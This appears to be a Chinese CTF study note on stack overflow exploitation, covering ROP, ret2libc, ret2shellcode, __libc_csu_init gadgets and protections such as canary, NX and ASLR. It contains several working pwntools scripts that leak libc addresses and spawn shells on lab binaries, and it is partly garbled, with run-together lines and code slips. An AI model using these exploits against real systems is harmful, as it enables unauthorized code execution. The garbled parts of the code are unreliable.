author : shavchen
title : stack-ooverflow exploit
栈底子
内存四区
- 代码区(.text):这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指令执行。
- 数据区(.data):用于存储全局变量和静态变量等。
- 堆区:动态地分配和回收内存,进程可以在堆区动态地哀求一定大小的内存,并在用完后归还给堆区。地址由高到低生长
- 栈区:用于动态地存储函数之间的调用关系,以包管被调用函数在返回时规复到母函数中继续执行;别的局部变量也存储在栈区。地址由低到高生长
BSS段:(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配。
栈的概念
- 一种数据结构,数据存储方式为先进后出,压栈(push)和出栈(pop)
- 每个程序都有自己的进程地址空间,进程地址空间中的某一部分就是该程序的栈,用于生存函数调用信息和局部变量
- 程序的栈是从进程空间的高地址向低地址增长的,数据是从低地址向高地址存放的
函数调用
- 函数调用经常嵌套,在同一时候,堆栈中会有多个函数的信息。
栈帧
- 每个未完成运行的函数占用一个独立的一连区域,称作栈帧。
根本流程
;调用前push arg3 ;32位esp-4,64位esp-8push arg2push arg1call func ;1. 压入当前指令的地址,即生存返回地址 2. jmp到调用函数的入口地址push ebp ;生存旧栈帧的底部,在func执行完成后在pop ebpmov ebp,esp ;设置新栈帧的底部sub esp,xxx ;设置新栈帧的顶部
详细流程
int func_b(int b1,int b2){ int var_b1,var_b2; var_b1 = b1+b2; var_b2 = b1-b2; return var_b1 * var_b2;}int func_a(int a1,int a2){ int var_a; var_a = fuc_b(a1+a2); return var_a;}int main(int argc,char** argv,char **envp){ int var_main; var_main = func_A(4,3); return 0;}
参数传递
- rdi rsi rdx rcx r8 r9 接收后六个参数
- 之后的参数通过栈传参
- 64位的利用方式
构造rop链
>
> 1. ROPgadget --binary level3_x64 --only 'pop|ret'
>
> c > # Gadgets information > > 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006b0 : pop r14 ; pop r15 ; ret > 0x00000000004006b2 : pop r15 ; ret > 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret > 0x0000000000400550 : pop rbp ; ret > 0x00000000004006b3 : pop rdi ; ret > 0x00000000004006b1 : pop rsi ; pop r15 ; ret > 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret > 0x0000000000400499 : ret >
>
> 2. 依次找pop rdi,pop rsi..,pop r9 ,这些寄存器内里存放的是参数,可以通过pop覆盖此中的内容
栈溢出
栈溢出指的是程序向栈中某个变量写入的字节数凌驾了这个变量自己申请的字节数,因而导致栈中与之相邻的变量的值被改变。
栈溢出目的
- 破坏程序内存结构
- 执行system(/bin/sh)
- 执行shellcode
栈溢出思绪
判断溢出点
常见的危险函数:
输入:gets scanf vscanf
输出:sprintf
字符串:strcpy strcat bcopy
判断padding
- 计算我们所要操纵的地址和所要覆盖的地址的距离
- IDA静态分析中常见的三种索引方式
a. 相对于栈基地址的索引,通过检察EBP相对偏移得到 char name[32]; [esp+0h] [ebp-28h] ==> 0x28+0x4
b. 相对于栈顶指针的索引,需要加上ESP到EBP的偏移,然后转换为a方式
c. 直接地址索引,相称于直接给出了地址
覆写内容
覆盖函数返回地址
覆盖栈上某个变量的内容,如局部变量和参数
Ret2text
返回到某个代码段的地址,如.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
要求我们控制程序执行程序自己已有的代码
Ret2shellocde
跳转到我们在栈中输入的代码,一般在没有开启NX保护的时间利用.
ret2shellcode的目标即在栈上写入结构好的shellcode,利用ret_address返回到shellcode处执行代码。
Ret2syscal
让程序返回到体系调用,调用syscall或execve执行某个程序,对于静态编译的程序,没有libc,只好通过execve执行shellcode了。
syscall --->rax syscall 0x3b ==>execve rax​ --->rdi path ==> /bin/sh rdi​ --->rsi argv / rsi​ --->rdx env rdxint execve(const char *filename, char *const argv[],char *const envp[]); execve("/bin/sh",null.null) 等同于system("bin/sh")syscall(32位程序为int80)会根据体系调用号查找syscall_table,execve对应的体系调用号是0x3b。
当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table[0x3b],即syscall_execve,然后通过execve启动程序。
找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'
静态编译的程序没有system等函数的链接支持,故一般利用ret2syscall构造栈溢出
Ret2libc
如找到system函数在动态链接库libc中的地址,将return的内容覆盖为该地址,跳转执行
​ leak出libc_addr + call system + 执行system('/bin/sh')
​ 难点:libc动态加载,每次基址都会变化,如何泄露libc的地址?
​ 思绪:got ---> read_addr() --->libc
​ read_addr - libc_base = offsset (不变)
​ libc_base = read_addr - offset
​ bin/sh的来源 : 程序自己或libc大概写一个/bin/sh到bss段
​ binsh = libc.search("/bin/sh").next()
其它
判断是否是否为动态编译
⚡ ⚙ ~/stack/day_4 ldd ret2text linux-gate.so.1 => (0xf7f36000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d60000) -->libc的版本,也可以vmmap检察 /lib/ld-linux.so.2 (0xf7f38000)判断libc的版本
a. 本地直接通过vmmap检察b. 远程的根据函数后几位的偏移得到 libc-database link:https://github.com/lieanu/libc-database.git usage: ./find func_name offset exemplify: ./find gets 5a0 effection: ➜ libc-database git:(master) ./find gets 5a0 archive-eglibc (id libc6_2.17-93ubuntu4_i386)c: 5a0怎么来的? .got.plt:0804A010 off_804A010 dd offset gets pwndbg> x/20gz 0x0804a0100x804a010 : 0x08048476f7e643e0 0x08048496f7e64ca00x804a020 : 0x080484b6080484a6 0xf7e65360f7e1d5400x804a030 : 0x080484f6080484e6 0x00000000000000000x804a040 : 0x00000000f7fb75a0 0x00000000000000000x804a050: 0x0000000000000000 0x00000000000000000x804a060 : 0x00000000f7fb7d60 0x00000000000000000x804a070: 0x0000000000000000 0x00000000000000000x804a080: 0x0000000000000000 0x00000000000000000x804a090: 0x0000000000000000 0x00000000000000000x804a0a0: 0x0000000000000000 0x000000000000000064位程序和32位程序的区别
1. 传参方式 64位:rdi rsi rdx rcx r8 r9 32位:通过栈传参2. syscall & int 80 栈空间结构
// 伪代码 A(int arg_a1,int arg_a2) B(int arg_b1,int arg_b2,int arg_b3) C()-------------------------------------// B的压栈流程 ---> ESP //指向栈顶,随着压栈不绝抬高 buf[128] //局部变量 EBP //生存旧栈帧的底部,4字节 return //这是B的返回地址,即C arg_b1 arg_b2 arg_b3 -->EBP //指向当前栈帧的底部,随着压栈不绝抬高,指向旧栈帧栈溢出原理
- 当局部变量buf凌驾128字节,会向下覆盖EBP,return以及参数的内容。
- 构造return
- 将buf 的 132到136字节的空间输入shellcode的地址
- 会跳转执行shellcode
保护机制
NX
堆栈不可执行保护,bss段也不可执行,windows下为DEP,可通过gcc -z execstack关闭
开启NX后再把return的内容覆盖为一段shellcode,在开启NX的时间,不能执行。
实现A函数执行的方法,即构建ROP链
- return ---> fake_addr ---> A
- 将B的参数从arg_b2到arg_b3也覆盖成A的参数
// 伪代码 A(int arg_a1,int arg_a2) B(int arg_b1,int arg_b2,int arg_b3) C(int arg_c1,int arg_c2)-------------------------------------// B的压栈流程 ---> ESP buf[128] EBP return //把return的内容覆盖为A的地址 arg_b1 //程序在调用A函数的时间,把下一个栈数据当作A的返回地址,因此需要在再下一条语句的时间开始覆盖参数 arg_b2 arg_a2 //将B的参数用A的参数覆盖掉 arg_b3 arg_a1 -->EBP 借鉴上面的方法,在调用A之后,再调用C,构建ROP链
- 这时不能把体系认为的A的返回地址的arg_b1覆盖为C的返回地址,不然会向上覆盖arg_a2和arg_a2,导致A无法正常执行。
- 这时需要再找一个return语句,程序内里通常含有pop-pop-ret的链
- ROPgadget --binary --only 'pop|ret' : 自动探求rop链
Gadgets information============================================================0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006b0 : pop r14 ; pop r15 ; ret //选择这个地址,代码段无NX0x00000000004006b2 : pop r15 ; ret0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400550 : pop rbp ; ret0x00000000004006b3 : pop rdi ; ret0x00000000004006b1 : pop rsi ; pop r15 ; ret0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400499 : ret
- 将arg_b1覆盖为addr_pop_pop_ret的地址:4006b0
- 此时将将arg_a1 pop到r14,arg_a2 pop到r15,然后ret
- 将ret的内容覆盖为C的入口地址,即可!
- 程序执行如下代码:
// 伪代码 A(int arg_a1,int arg_a2) B(int arg_b1,int arg_b2,int arg_b3) C(int arg_c1,int arg_c2)-------------------------------------// B的压栈流程 ---> ESP buf[128] EBP return //-->fake_addr_A arg_b1 //-->4006b0 addr_pop_pop_ret arg_b2 arg_a1 //pop r14 arg_b3 arg_a2 //pop r15 ret // --->fake_addr_C 0 // --->C的返回地址,现在没用了 arg_c1 arg_c2 -->EBP
- 利用buf将栈空间覆盖
- 在B退出的时间ret到A
- 依次取覆盖之后的A的两个参数,执行A函数
- 返回到pop_pop_ret的地址
- 将ret的地址覆盖为C的地址
- 将C的返回地址置空
- 写入C的参数
- 执行C函数
A函数的功能通常时"/bin/sh"
C函数的功能为system
上述流程执行完则可以达到反弹shell的目的
由于程序不在栈上执行而是在代码段中执行,所有可以绕过NX保护机制。
Canary(金丝雀)
开启canary后,会在程序的EBP与ESP之间的位置随机插入一段md5值,占4字节或8字节。
canary为一段以 /0 结尾的一串md5值,如123456/0,起截断作用,防止打印。
在程序return之前与内核地址[fs:0x28]异或校验md5值
异或结果为1时报错退出,为0时正常ret。
几种思绪
- 如果能在栈中拿到md5值,在指定位置可以精准覆盖之。
- 将从内核中取的md5值,设置为自己定义的值,覆盖的时间覆盖自己定义的值。
参数:-fstack-protector :启用保护,不外只为局部变量中含有数组的插入保护
参数:-fstack-protector-all :为所有函数插入保护
参数:-fstack-protector-strong -fstack-protector-explicit :只对明白有stack-protect 属性的函数启用保护
参数:-fo-stack-protector :禁用保护
> 利用栈溢出将"\0"覆盖掉,则可以将canary打印出来。
- smash
- leak stackguard -- top
⚡ > ~/stack/day_1> checksec leak_canary '/root/stack/day_1/leak_canary' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)PIE
让程序能装载在随机的地址,主要是代码段的地址随机化,改变的是高位的基地址。
gdb中利用show proc info 可以显示代码段的基地址
--enabled-default-pie开启 -no-pie关闭
ALSR
每次加载程序,使其地址空间分布随机化,即使可执行文件开启PIE保护,还需要体系开启ASLR才会真正打乱基址。主要是堆栈和libc的地址随机化。
修改/proc/sys/kernel/randommize_va_space来控制ASLR的开关。
栈溢出进阶
pwntools
# Pwntools环境预设from pwn import *context.arch = "amd64/i386" #指定体系架构context.terminal = ["tmux,"splitw","-h"] #指定分屏终端context.os = "linux" #context用于预设环境# 库信息elf = ELF('./PWNME') # ELF载入当出息序的ELF,以获取符号表,代码段,段地址,plt,got信息libc = ELF('lib/i386-linux-gnu/libc-2.23.so') # 载入libc的库,可以通过vmmap检察/*起首利用ELF()获取文件的句柄,然后利用这个句柄调用函数,如>>> e = ELF('/bin/cat')>>> print hex(e.address) # 文件装载的基地址>>> print hex(e.symbols['write']) # plt中write函数地址>>> print hex(e.got['write']) # GOT表中write符号的地址>>> print hex(e.plt['write']) # PLT表中write符号的地址 */ # Pwntools通信 p = process('./pwnme') # 本地 process与程序交互r = remote('exploitme.example.com',3333) # 远程# 交互recv() # 接收数据,一直接收recv(numb=4096,timeout=default) # 指定接收字节数与超时时间 recvuntil("111") # 接收到111竣事,可以裁剪,如.[1:4]recbline() # 接收到换行竣事recvline(n) # 接收到n个换行竣事recvall() # 接收到EOFrecvrepeat(timeout=default) #接收到EOF或timeoutsend(data) # 发送数据sendline(data) # 发送一行数据,在末尾会加\nsendlineafter(delims,data) # 在程序接收到delims再发送data r.send(asm(shellcraft.sh())) # 信息通信交互 r.interactive() # send payload后接收当前的shell# 字符串与地址的转换p64(),p32() #将字符串转化为ascii字节流u64(),u32() #将ascii的字节流解包为字符串地址 got & plt
在IDA中选择view-open subview - segment可以直接检察到got和plt段
.plt:08048440 ; __unwind {.plt:08048440 push ds:dword_804A004.plt:08048446 jmp ds:dword_804A008 ;804A008是got表的地址.plt:08048446 sub_8048440 endpplt段的某个地址存放着指令 jmp got
.got.plt:0804A00C off_804A00C dd offset printf ; DATA XREF: _printf↑r.got.plt:0804A010 off_804A010 dd offset gets ; DATA XREF: _gets↑r.got.plt:0804A014 off_804A014 dd offset time ; DATA XREF: _time↑r.got.plt:0804A018 off_804A018 dd offset puts ; DATA XREF: _puts↑r.got.plt:0804A01C off_804A01C dd offset system ; DATA XREF: _system↑r.got.plt:0804A020 off_804A020 dd offset __gmon_start__.got.plt:0804A020 ; DATA XREF: ___gmon_start__↑r.got.plt:0804A024 off_804A024 dd offset srand ; DATA XREF: _srand↑r.got.plt:0804A028 off_804A028 dd offset __libc_start_main.got.plt:0804A028 ; DATA XREF: ___libc_start_main↑r.got.plt:0804A02C off_804A02C dd offset setvbuf ; DATA XREF: _setvbuf↑r.got.plt:0804A030 off_804A030 dd offset rand ; DATA XREF: _rand↑r.got.plt:0804A034 off_804A034 dd offset __isoc99_scanfgot段中存放着程序中函数的地址,可以避免每次调用某个函数的时间去libc库中探求。
- 找到plt表.plt表存放指令
- 跳转到got表,got表存放地址,不能填在return的位置
- 找到对应的func_addr
- 没有的时间跳转到libc中取出函数,并缓存到got表
plt["write"](1,got("write"),4)
通过plt的write函数leak出got的地址
libc_csu_init
- 在所有的64位程序中都含有libc_csu_init函数
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o.text:0000000000400650 ; __unwind {.text:0000000000400690.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j.text:0000000000400690 mov rdx, r13 // 4. 利用点,将r13给到了rdx.text:0000000000400693 mov rsi, r14 // 5. 控制rsi.text:0000000000400696 mov edi, r15d // 6. 控制rdi的低四位.text:0000000000400699 call qword ptr [r12+rbx*8] //7. 给rbx赋0,相称于call [r12].text:000000000040069D add rbx, 1.text:00000000004006A1 cmp rbx, rbp.text:00000000004006A4 jnz short loc_400690.text:00000000004006A6.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j.text:00000000004006A6 add rsp, 8.text:00000000004006AA pop rbx //1. 控制函数从这里执行.text:00000000004006AB pop rbp.text:00000000004006AC pop r12 //8. 给r12添一个main_addr.text:00000000004006AE pop r13 //2. 通过栈控制r13.text:00000000004006B0 pop r14.text:00000000004006B2 pop r15.text:00000000004006B4 retn //3. ret到 mov rdx, r13.text:00000000004006B4 ; } // starts at 400650.text:00000000004006B4 __libc_csu_init endp//实现通过栈控制rdx
- 程序在启动main函数之前,都由glibc的标准c库启动,即由libc_csu_init启动main函数
- libc_csu_init可以得到一个有4个参数调用的地方,比如体系调用函数syscall
如syscall--->rax syacall 0x3b ==>execve
​ --->rdi path "/bin/sh"
​ --->rsi argv
​ --->rdx env
- 通过syscall调用execve,执行execve("/bin/sh",null,null),等价于system("/bin/sh")
- syscall(32位程序为int80)会根据体系调用号查找syscall_table,execve对应的体系调用号是0x3b。
当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table[0x3b],即syscall_execve,然后通过execve启动程序。
- 找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'
ret2_dl_runtime_resolve
解决32位无输出函数的情况,64位利用IOfile的方式。
- 找对应的plt中的地址
- 跳转到对应的got表中,got中如果有,则执行对应函数
- 如果跳转到的got对应位置没有值,got会向后累加一个地址,然后跳转到plt[0],压入两个参数,一个是index,一个是与DYNAMIC有关的参数,称为link_map(动态链接用到的名字,如puts),然后再调用dl_runtime_resolve(link_map_obj,reloc_index)
push cs:qword_602008 .plt:00000000004007A6 jmp cs:qword_602010
- dl_runtime_resolve现实上是一个解析现实地址的函数,根据函数名称做解析,然后写回到plt的index对应的got
- 调用完之后,会根据参数调用解析出来的地址,比如解析出来的puts函数,那么会调用puts函数,并且写入puts_got中
- 竣事后,接着运行程序
因此,我们向DYNAMIC中写入puts字符串就可以了
栈劫持
整形溢出
[实验](#程序七 : 整型溢出)
调试
程序一 :rop链 & _libc_csu_init
ROP
int __cdecl main(int argc, const char **argv, const char **envp){ vulnerable_function(*(_QWORD *)&argc, argv, envp); return write(1, "Hello, World!\n", 0xEuLL);}ssize_t vulnerable_function(){ char buf; // [rsp+0h] [rbp-80h] 阐明buf到rbp有0x80字节。即buf[0x80] write(1, "Input:\n", 7uLL); return read(0, &buf, 0x200uLL); //从标准控制台向buf读入0x200}
from pwn import *context.arch = "amd64"context.log_level = "debug"context.terminal=["tmux","splitw","-h"]if len(sys.argv) < 2: debug=True else: debug=Falseif debug: p = process("./level3_x64") elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")else: p = remote("x.x.x.x",xxxx) elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")def debugf(): gdb.attach(p,"b *0x400602")#debugf()padding = 0x80 * "a"padding_rbp = "junkjunk"write_plt = elf.plt["write"] write_got = elf.got["write"] # target : write(1,write_got,8)pop_rdi_ret = 0x4006b3pop_rsi_r15_ret = 0x4006b1main_addr = 0x40061Apayload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) p.sendafter("Input:\n",payload)addr = u64(p.recv(6).ljust(8,"\x00"))libc.address = addr - libc.symbols["write"]binsh = libc.search("/bin/sh").next()system = libc.symbols["system"]payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)p.sendafter("Input:\n",payload)p.interactive()
通过write函数泄露system的地址
先通过plt中的wrtite jump到got中的write函数的地址,然后通过offset计算libc的基址,然后泄露system的地址
可以将第一个return的内容覆盖为plt["write"]的地址
即write(1,write_got,8) 调用write_got,打印8个字节到屏幕上
- 探求rop链 rdi_pop_rsi_pop_rdx_ret,生存write函数的参数与返回地址
64位程序的参数压栈顺序rdi,rsi,rdx,rcx,r8,r9
➜ level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'Gadgets information============================================================0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006b0 : pop r14 ; pop r15 ; ret0x00000000004006b2 : pop r15 ; ret0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400550 : pop rbp ; ret0x00000000004006b3 : pop rdi ; ret0x00000000004006b1 : pop rsi ; pop r15 ; ret0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400499 : ret
- 由于在rop链中没有发现rdx,暂时不去利用rdx,由于rdx中原来就可能含有大于8的数,因此对我们而言传参与否意义不大,只是乐成率的标题,直接返回到main_addr即可
.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp).text:000000000040061A public main.text:000000000040061A main proc near ; DATA XREF: _start+1D↑o libc_csu_init
a. 调用libc_csu_initb. libc_csu_init有rdxc. 在libc_csu_init循环构造payload
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o.text:0000000000400650 ; __unwind {.text:0000000000400690.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j.text:0000000000400690 mov rdx, r13 // 4. 将r13给到了rdx.text:0000000000400693 mov rsi, r14 // 5. 控制rsi.text:0000000000400696 mov edi, r15d // 6. 控制rdi的低四位,注意这里不能存放下6字节的/bin/sh.text:0000000000400699 call qword ptr [r12+rbx*8] ;7. 给rbx赋0,相称于call [r12], ; 将system的地址写入此中bss中,将bss_addr写入此中.text:000000000040069D add rbx, 1.text:00000000004006A1 cmp rbx, rbp //9. 使rbp=1,跳过jnz.text:00000000004006A4 jnz short loc_400690.text:00000000004006A6.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j.text:00000000004006A6 add rsp, 8.text:00000000004006AA pop rbx //1. 控制函数从这里执行.text:00000000004006AB pop rbp.text:00000000004006AC pop r12 //8. 给r12添一个main_addr.text:00000000004006AE pop r13 //2. 通过栈控制r13.text:00000000004006B0 pop r14.text:00000000004006B2 pop r15.text:00000000004006B4 retn //3. ret到main_addr.text:00000000004006B4 ; } // starts at 400650.text:00000000004006B4 __libc_csu_init endp//实现通过栈控制rdx
.bss:0000000000600A89 db ? ; 向此中写入system的地址,call [r12] ,将r12改为0x600A89 .bss:0000000000600A8A db ? ;.bss:0000000000600A8B db ? ;
- call qword ptr [r12+rbx*8] ;寄存器间接寻址,需要把system的地址写入bss
- mov edi, r15d ;只能存放4个字节,存放不了/bin/sh
from pwn import *context.arch = "amd64"context.log_level = "debug"context.terminal=["tmux","splitw","-h"]if len(sys.argv) < 2: debug=True else: debug=Falseif debug: p = process("./level3_x64") elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")else: p = remote("x.x.x.x",xxxx) elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")def lib_csu_init(ret_address,call,p1,p2,p3): pop_ret7 = 0x4006AA libc_csu_init_addr = 0x400690 payload = 0x80*'a' + p64(0) # padding_ebp payload+= p64(pop_ret7) payload+= p64(0) + p64(1) + p64(call) #rbx rbp r12 payload+= p64(p3) + p64(p2) + p64(p1) #r13 r14 r15 payload+= p64(libc_csu_init_addr) #ret payload+= p64(0)*7 #clear rsp rbx rbp r12 r13 r14 r15 payload+= p64(ret_address) p.sendafter("Input:\n",payload)def debugf(): gdb.attach(p,"b *0x400602")#debugf()write_plt = elf.plt["write"] write_got = elf.got["write"] read_got = elf.got["read"] main_addr = 0x40061Abss_addr = 0x600A89lib_csu_init(main_addr,write_got,1,write_got,0x8)write_addr = u64(p.recv(8))log.success("write_addr:" + hex(write_addr))libc.address = write_addr - libc.symbols["write"]log.success("libc.address:" + hex(libc.address))lib_csu_init(main_addr,read_got,0,bss_addr,16) # 16 is the param of read # read system to bss_addr and write "/bin/sh to bss_addr+8"#binsh = libc.search("/bin/sh").next() not need anymoresystem = libc.symbols["system"]p.send(p64(system)+"/bin/sh\x00")#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)p.interactive()
程序二 :canary
int __cdecl main(int argc, const char **argv, const char **envp){ init(); puts("Hello Hacker!"); vuln(); return 0;}unsigned int vuln(){ signed int i; // [esp+4h] [ebp-74h] char buf; // [esp+8h] [ebp-70h] unsigned int v3; // [esp+6Ch] [ebp-Ch] v3 = __readgsdword(0x14u); //从fs:28h读取canary到栈 for ( i = 0; i 在IDA中静态检察s的地址,取其偏移地址080486AB
>
> 在gdb中 b *0x080486AB 即可</p></blockquote>EAX 0xffffce8c —▸ 0x8048329 ◂— 0x696c5f5f /* '__libc_start_main' */EBX 0x0ECX 0xffffffffEDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0EBP 0xffffcef8 ◂— 0x0ESP 0xffffce70 —▸ 0x804876c ◂— 0x72656854 /* 'There is something amazing here, do you know anything?'/*EDX接收s填充长度为EBP-EAX = 0x6c*/
- 覆写返回地址到system("/bin/sh");
a. 利用IDA检察bin/sh的地址
>
> assembly > .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" > .text:08048641 call _system > >
攻击脚本
</ul>from pwn import *context.log_level = "debug" # context预设环境context.arch = "i386"context.terminal = ["tmux","splitw","-h"] # tmux 垂直分屏if len(sys.argv) < 2: debug = True else: debug = False if debug: p = process("./ret2text") # process表示当出息序的发送和接收(交互) elf = ELF("./ret2text") # ELF载入当出息序的ELF,以获取符号表,代码段,段地址,plt,got信息 libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') # 载入libc的库,可以通过vmmap检察 else: p = remote("x.x.x.x",1088) elf = ELF("./ret2text") libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') def debugf(): gdb.attach(p,"b *0x80486AB")debugf()padding = (0x64+8)*aebp_padding = "aaaa"system_addr = 0x0804863Apayload = padding + ebp_padding + p32(system_addr)p.sendlineafter("do you know anything?\n",payload) #需要加"\n",由于puts在程序末了加"\n"p.interactive() # 接收shell程序五 :ret2shellcode
int __cdecl main(int argc, const char **argv, const char **envp){ char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0;}
.text:08048590 mov [esp], eax ; s 设置到断点gets之前.text:08048593 call _gets
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
#!/usr/bin/env pythonfrom pwn import *context.arch ="i386"context.log_level = "debug"context.terminal = ["tmux","splitw","-h"]if len(sys.argv < 2): debug = True else: debug = Falseif debug: p = process('./ret2shellcode') elf = ELF('./ret2shellcode') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')else: p = remote('xx.xx.xx.xx',1111) elf = ELF('./ret2shellcode') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')def debugf(): gdb.attach(p,"b *08048590")debugf()#padding = 0x64+8#padding_ebp = 0x4shellcode = asm(shellcraft.sh())payload = shellcode.ljust(0x6c,"a") + "junk"buf2_addr = 0x804a080payload += p32(buf2_addr)p.sendlineafter("No system for you this time !!!\n",payload)p.interactive()
- 64字节shelllcode覆盖s
- 填充8字节到达main函数的ebp
- "junk"覆盖掉rbp的内容
- 将return的内容覆盖为buf2的地址字节流:p32(buf2_addr)
buf2位于bss段,如果程序开启了pie,是不能通过ida读取的。
ljust函数用于补充指定大小的字节
asm(shellcraft.sh())用于自动天生shellcode
手写shellcode
shellcode = asm("mov ebp,esp""push ebp""mov eax,08808188a" ;向0x08808188a传入一个bin/sh"mov [esp],eax""call system")
EAX 0x804a080 (buf2) ◂— 0x2f68686a0x80485af call strncpy@plt 00:0000│ esp 0xff906df0 —▸ 0x804a080 (buf2) ◂— 0x2f68686ax/20gz 0x804a0800x804a080 : 0x68732f2f2f68686a 0x0168e3896e69622f0x804a090 : 0x6972243481010101 0x59046a51c93101010x80485c6 ret ==>可以看到将main返回地址覆盖成了buf2的地址00:0000│ esp 0xff906e74 ◂— '/bin///sh'01:0004│ 0xff906e70 ◂— 0x6873 /* 'sh' */0x804a0aa int 0x80 ==> 此时中断退出 程序六 :ret2libc
int __cdecl main(int argc, const char **argv, const char **envp){ char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_____ |